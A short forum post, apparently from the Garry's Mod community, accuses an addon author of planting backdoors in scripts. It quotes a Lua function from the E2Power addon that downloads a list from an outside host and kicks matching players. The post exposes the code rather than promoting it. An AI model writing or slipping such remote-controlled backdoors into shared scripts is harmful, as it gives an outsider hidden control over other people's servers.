Don't know if any mods can take down his addons and suspend his GMod.org access, but he's been blatantly abusing it to shut other servers down.
(He runs his own community called 1944RP, so he should have some sense.)

I'm sick and tired of people abusing gmod.org to shove backdoors into scripts.

function E2Power_GetBanList()
http.Get("http://fertnon.narod2.ru/e2power_bans.txt","",function(contents)
E2Power_BanList=contents
local players = player.GetAll()
for _, player in ipairs( players ) do
if string.find(E2Power_BanList,player:SteamID(),1,true) then player:Kick("you are banned!") end
end
end)
end
